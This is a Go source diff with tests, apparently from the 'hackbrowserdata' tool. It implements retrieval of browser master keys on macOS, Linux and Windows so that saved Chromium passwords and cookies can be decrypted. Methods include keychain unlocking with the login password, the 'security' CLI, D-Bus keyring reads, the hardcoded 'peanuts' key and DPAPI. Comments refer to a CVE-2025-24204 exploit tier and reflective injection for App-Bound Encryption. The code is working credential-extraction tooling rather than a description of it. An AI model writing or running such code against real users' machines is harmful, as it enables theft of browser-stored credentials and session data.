// KeychainPasswordRetriever unlocks login.keychain-db with the macOS login password (no root).
|
||||
// Records are cached once and reused across browsers.
|
||||
type KeychainPasswordRetriever struct {
|
||||
Password string
|
||||
|
||||
once sync.Once
|
||||
records []keychainbreaker.GenericPassword
|
||||
err error
|
||||
}
|
||||
|
||||
func (r *KeychainPasswordRetriever) RetrieveKey(hints Hints) ([]byte, error) {
|
||||
if r.Password == "" {
|
||||
return nil, fmt.Errorf("keychain password not provided")
|
||||
}
|
||||
|
||||
r.once.Do(func() {
|
||||
r.records, r.err = loadKeychainRecords(r.Password)
|
||||
})
|
||||
if r.err != nil {
|
||||
return nil, r.err
|
||||
}
|
||||
|
||||
return findStorageKey(r.records, hints.KeychainLabel)
|
||||
}
|
||||
|
||||
// SecurityCmdRetriever queries Keychain via the macOS `security` CLI (may prompt). Results are
|
||||
// cached per storage name so each browser's key is fetched once.
|
||||
type SecurityCmdRetriever struct {
|
||||
mu sync.Mutex
|
||||
cache map[string]securityResult
|
||||
}
|
||||
|
||||
type securityResult struct {
|
||||
key []byte
|
||||
err error
|
||||
}
|
||||
|
||||
func (r *SecurityCmdRetriever) RetrieveKey(hints Hints) ([]byte, error) {
|
||||
storage := hints.KeychainLabel
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
if res, ok := r.cache[storage]; ok {
|
||||
return res.key, res.err
|
||||
}
|
||||
|
||||
key, err := r.retrieveKeyOnce(storage)
|
||||
r.cache[storage] = securityResult{key: key, err: err}
|
||||
return key, err
|
||||
}
|
||||
|
||||
func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), securityCmdTimeout)
|
||||
defer cancel()
|
||||
|
||||
var stdout, stderr bytes.Buffer
|
||||
cmd := exec.CommandContext(ctx, "security", "find-generic-password", "-wa", strings.TrimSpace(storage)) //nolint:gosec
|
||||
cmd.Stdout = &stdout
|
||||
cmd.Stderr = &stderr
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
if errors.Is(ctx.Err(), context.DeadlineExceeded) {
|
||||
return nil, fmt.Errorf("security command timed out after %s", securityCmdTimeout)
|
||||
}
|
||||
// `security` exits non-zero with empty stderr when the user denies the prompt or mistypes;
|
||||
// surface that instead of the cryptic "exit status 128 ()".
|
||||
stderrStr := strings.TrimSpace(stderr.String())
|
||||
if stderrStr == "" {
|
||||
return nil, fmt.Errorf("security command: %w (likely keychain access denied or wrong password)", err)
|
||||
}
|
||||
return nil, fmt.Errorf("security command: %w (%s)", err, stderrStr)
|
||||
}
|
||||
if stderr.Len() > 0 {
|
||||
return nil, fmt.Errorf("keychain: %s", strings.TrimSpace(stderr.String()))
|
||||
}
|
||||
|
||||
secret := bytes.TrimSpace(stdout.Bytes())
|
||||
if len(secret) == 0 {
|
||||
return nil, fmt.Errorf("keychain: empty secret for %s", storage)
|
||||
}
|
||||
|
||||
return darwinParams.deriveKey(secret), nil
|
||||
}
|
||||
|
||||
// DefaultRetrievers wires the macOS V10 chain (the only tier Chromium uses here), first success wins:
|
||||
// 1. GcoredumpRetriever — CVE-2025-24204 exploit (root only)
|
||||
// 2. KeychainPasswordRetriever — direct unlock, skipped when password is empty
|
||||
// 3. SecurityCmdRetriever — `security` CLI fallback (may prompt)
|
||||
func DefaultRetrievers(keychainPassword string) Retrievers {
|
||||
chain := []Retriever{&GcoredumpRetriever{}}
|
||||
if keychainPassword != "" {
|
||||
chain = append(chain, &KeychainPasswordRetriever{Password: keychainPassword})
|
||||
}
|
||||
chain = append(chain, &SecurityCmdRetriever{cache: make(map[string]securityResult)})
|
||||
return Retrievers{V10: NewChain(chain...)}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
//go:build darwin
|
||||
|
||||
package masterkey
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/moond4rk/keychainbreaker"
|
||||
"github.com/stretchr/testify/assert"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestFindStorageKey_Found(t *testing.T) {
|
||||
records := []keychainbreaker.GenericPassword{
|
||||
{Account: "Chrome", Password: []byte("mock-secret")},
|
||||
{Account: "Brave", Password: []byte("brave-secret")},
|
||||
}
|
||||
|
||||
key, err := findStorageKey(records, "Chrome")
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, darwinParams.deriveKey([]byte("mock-secret")), key)
|
||||
}
|
||||
|
||||
func TestFindStorageKey_NotFound(t *testing.T) {
|
||||
records := []keychainbreaker.GenericPassword{
|
||||
{Account: "Chrome", Password: []byte("mock-secret")},
|
||||
}
|
||||
|
||||
key, err := findStorageKey(records, "Firefox")
|
||||
require.Error(t, err)
|
||||
assert.Nil(t, key)
|
||||
assert.ErrorIs(t, err, errStorageNotFound)
|
||||
}
|
||||
|
||||
func TestKeychainPasswordRetriever_EmptyPassword(t *testing.T) {
|
||||
r := &KeychainPasswordRetriever{Password: ""}
|
||||
key, err := r.RetrieveKey(Hints{KeychainLabel: "Chrome"})
|
||||
require.Error(t, err)
|
||||
assert.Nil(t, key)
|
||||
assert.Contains(t, err.Error(), "keychain password not provided")
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
//go:build linux
|
||||
|
||||
package masterkey
|
||||
|
||||
import (
|
||||
"crypto/sha1"
|
||||
"fmt"
|
||||
|
||||
"github.com/godbus/dbus/v5"
|
||||
keyring "github.com/ppacher/go-dbus-keyring"
|
||||
)
|
||||
|
||||
// https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc
|
||||
var linuxParams = pbkdf2Params{
|
||||
salt: []byte("saltysalt"),
|
||||
iterations: 1,
|
||||
keySize: 16,
|
||||
hashFunc: sha1.New,
|
||||
}
|
||||
|
||||
// DBusRetriever queries GNOME Keyring / KDE Wallet via D-Bus Secret Service.
|
||||
type DBusRetriever struct{}
|
||||
|
||||
func (r *DBusRetriever) RetrieveKey(hints Hints) ([]byte, error) {
|
||||
storage := hints.KeychainLabel
|
||||
conn, err := dbus.SessionBus()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("dbus session: %w", err)
|
||||
}
|
||||
|
||||
svc, err := keyring.GetSecretService(conn)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("secret service: %w", err)
|
||||
}
|
||||
|
||||
session, err := svc.OpenSession()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("open session: %w", err)
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
collections, err := svc.GetAllCollections()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("get collections: %w", err)
|
||||
}
|
||||
|
||||
for _, col := range collections {
|
||||
items, err := col.GetAllItems()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, item := range items {
|
||||
label, err := item.GetLabel()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if label == storage {
|
||||
secret, err := item.GetSecret(session.Path())
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("get secret for %s: %w", storage, err)
|
||||
}
|
||||
if len(secret.Value) > 0 {
|
||||
return linuxParams.deriveKey(secret.Value), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound)
|
||||
}
|
||||
|
||||
// PosixRetriever derives Chromium's kV10Key via PBKDF2 over the hardcoded "peanuts" password — the
|
||||
// deterministic v10 key used when no keyring exists (headless/Docker/CI). Mirrors PosixKeyProvider.
|
||||
type PosixRetriever struct{}
|
||||
|
||||
func (r *PosixRetriever) RetrieveKey(_ Hints) ([]byte, error) {
|
||||
return linuxParams.deriveKey([]byte("peanuts")), nil
|
||||
}
|
||||
|
||||
// DefaultRetrievers wires the Linux tiers, one per prefix Chromium emits: v10 = PBKDF2("peanuts")
|
||||
// (kV10Key, no keyring); v11 = PBKDF2(keyring secret) (kV11Key, via D-Bus). A profile can carry both
|
||||
// if the host moved between headless and keyring sessions, so both run independently.
|
||||
func DefaultRetrievers() Retrievers {
|
||||
return Retrievers{
|
||||
V10: &PosixRetriever{},
|
||||
V11: &DBusRetriever{},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
//go:build linux
|
||||
|
||||
package masterkey
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestPosixRetriever(t *testing.T) {
|
||||
r := &PosixRetriever{}
|
||||
|
||||
key, err := r.RetrieveKey(Hints{KeychainLabel: "Chrome"})
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, linuxParams.deriveKey([]byte("peanuts")), key)
|
||||
assert.Len(t, key, linuxParams.keySize)
|
||||
|
||||
// The key should not be all zeros.
|
||||
allZero := true
|
||||
for _, b := range key {
|
||||
if b != 0 {
|
||||
allZero = false
|
||||
break
|
||||
}
|
||||
}
|
||||
assert.False(t, allZero, "derived key should not be all zeros")
|
||||
|
||||
// "peanuts" is a hardcoded password, so the result should be the same regardless of the hints
|
||||
// or number of calls.
|
||||
key2, err := r.RetrieveKey(Hints{KeychainLabel: "Brave"})
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, key, key2, "kV10Key should be constant across any storage label")
|
||||
}
|
||||
|
||||
// TestPosixRetriever_MatchesChromiumKV10Key pins PosixRetriever's output to Chromium's kV10Key
|
||||
// reference bytes (PBKDF2-HMAC-SHA1 of "peanuts" with "saltysalt", 1 iteration, 16 bytes).
|
||||
func TestPosixRetriever_MatchesChromiumKV10Key(t *testing.T) {
|
||||
want := []byte{
|
||||
0xfd, 0x62, 0x1f, 0xe5, 0xa2, 0xb4, 0x02, 0x53,
|
||||
0x9d, 0xfa, 0x14, 0x7c, 0xa9, 0x27, 0x27, 0x78,
|
||||
}
|
||||
r := &PosixRetriever{}
|
||||
key, err := r.RetrieveKey(Hints{})
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, want, key)
|
||||
}
|
||||
|
||||
func TestDefaultRetrievers_Linux(t *testing.T) {
|
||||
r := DefaultRetrievers()
|
||||
|
||||
// V10 slot: peanuts-derived kV10Key — PosixRetriever.
|
||||
assert.IsType(t, &PosixRetriever{}, r.V10, "V10 slot should hold PosixRetriever (peanuts kV10Key)")
|
||||
|
||||
// V11 slot: D-Bus keyring kV11Key — DBusRetriever.
|
||||
assert.IsType(t, &DBusRetriever{}, r.V11, "V11 slot should hold DBusRetriever (keyring kV11Key)")
|
||||
|
||||
// V20 slot: ABE is Windows-only, nil on Linux.
|
||||
assert.Nil(t, r.V20, "V20 slot must stay nil on Linux")
|
||||
|
||||
// Smoke: both populated slots must actually retrieve (PosixRetriever always succeeds; DBus may
|
||||
// fail in test env, which is fine — we only want to confirm the wiring, not real keys).
|
||||
require.NotNil(t, r.V10)
|
||||
require.NotNil(t, r.V11)
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package masterkey
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
type mockRetriever struct {
|
||||
key []byte
|
||||
err error
|
||||
}
|
||||
|
||||
func (m *mockRetriever) RetrieveKey(_ Hints) ([]byte, error) {
|
||||
return m.key, m.err
|
||||
}
|
||||
|
||||
func TestChainRetriever_FirstSuccess(t *testing.T) {
|
||||
chain := NewChain(
|
||||
&mockRetriever{key: []byte("first-key")},
|
||||
&mockRetriever{key: []byte("second-key")},
|
||||
)
|
||||
key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"})
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, []byte("first-key"), key)
|
||||
}
|
||||
|
||||
func TestChainRetriever_FallbackOnError(t *testing.T) {
|
||||
chain := NewChain(
|
||||
&mockRetriever{err: errors.New("first failed")},
|
||||
&mockRetriever{key: []byte("fallback-key")},
|
||||
)
|
||||
key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"})
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, []byte("fallback-key"), key)
|
||||
}
|
||||
|
||||
func TestChainRetriever_AllFail(t *testing.T) {
|
||||
chain := NewChain(
|
||||
&mockRetriever{err: errors.New("first failed")},
|
||||
&mockRetriever{err: errors.New("second failed")},
|
||||
)
|
||||
key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"})
|
||||
require.Error(t, err)
|
||||
assert.Nil(t, key)
|
||||
assert.Contains(t, err.Error(), "all retrievers failed")
|
||||
assert.Contains(t, err.Error(), "first failed")
|
||||
assert.Contains(t, err.Error(), "second failed")
|
||||
}
|
||||
|
||||
func TestChainRetriever_SkipEmptyKey(t *testing.T) {
|
||||
// First returns nil key without error — should skip to next
|
||||
chain := NewChain(
|
||||
&mockRetriever{key: nil, err: nil},
|
||||
&mockRetriever{key: []byte("real-key")},
|
||||
)
|
||||
key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"})
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, []byte("real-key"), key)
|
||||
}
|
||||
|
||||
func TestChainRetriever_Empty(t *testing.T) {
|
||||
chain := NewChain()
|
||||
key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"})
|
||||
require.Error(t, err)
|
||||
assert.Nil(t, key)
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
//go:build windows
|
||||
|
||||
package masterkey
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/tidwall/gjson"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||
)
|
||||
|
||||
// DPAPIRetriever unwraps Chrome's Local State os_crypt.encrypted_key via Windows DPAPI.
|
||||
type DPAPIRetriever struct{}
|
||||
|
||||
func (r *DPAPIRetriever) RetrieveKey(hints Hints) ([]byte, error) {
|
||||
data, err := os.ReadFile(hints.LocalStatePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read Local State: %w", err)
|
||||
}
|
||||
|
||||
encryptedKey := gjson.GetBytes(data, "os_crypt.encrypted_key")
|
||||
if !encryptedKey.Exists() {
|
||||
return nil, fmt.Errorf("os_crypt.encrypted_key not found in Local State")
|
||||
}
|
||||
|
||||
keyBytes, err := base64.StdEncoding.DecodeString(encryptedKey.String())
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("base64 decode encrypted_key: %w", err)
|
||||
}
|
||||
|
||||
const dpapiPrefix = "DPAPI"
|
||||
if len(keyBytes) <= len(dpapiPrefix) {
|
||||
return nil, fmt.Errorf("encrypted_key too short: %d bytes", len(keyBytes))
|
||||
}
|
||||
if string(keyBytes[:len(dpapiPrefix)]) != dpapiPrefix {
|
||||
return nil, fmt.Errorf("encrypted_key unexpected prefix: got %q, want %q", keyBytes[:len(dpapiPrefix)], dpapiPrefix)
|
||||
}
|
||||
|
||||
masterKey, err := crypto.DecryptDPAPI(keyBytes[len(dpapiPrefix):])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("DPAPI decrypt: %w", err)
|
||||
}
|
||||
return masterKey, nil
|
||||
}
|
||||
|
||||
// DefaultRetrievers wires the Windows tiers: DPAPI for v10, ABE for v20 (Chrome 127+, via reflective
|
||||
// injection). Both run — a profile upgraded from pre-v127 mixes v10+v20 and needs both (issue #578).
|
||||
func DefaultRetrievers() Retrievers {
|
||||
return Retrievers{
|
||||
V10: &DPAPIRetriever{},
|
||||
V20: &ABERetriever{},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package masterkey
|
||||
|
||||
// StaticRetriever returns pre-supplied key bytes (from a Dump) instead of platform retrieval, ignoring
|
||||
// Hints. An empty key returns (nil, nil) — the "tier not applicable" signal NewMasterKeys expects.
|
||||
type StaticRetriever struct {
|
||||
key []byte
|
||||
}
|
||||
|
||||
// NewStaticRetriever wraps key bytes; a nil/empty key yields a retriever that reports the tier unavailable.
|
||||
func NewStaticRetriever(key []byte) *StaticRetriever {
|
||||
return &StaticRetriever{key: key}
|
||||
}
|
||||
|
||||
func (p *StaticRetriever) RetrieveKey(_ Hints) ([]byte, error) {
|
||||
if len(p.key) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
return p.key, nil
|
||||
}
|
||||
Reference in New Issue
Block a user